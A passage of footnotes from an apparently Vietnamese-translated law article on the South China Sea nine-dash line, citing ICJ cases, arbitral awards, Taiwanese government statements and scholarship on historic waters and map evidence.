rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] 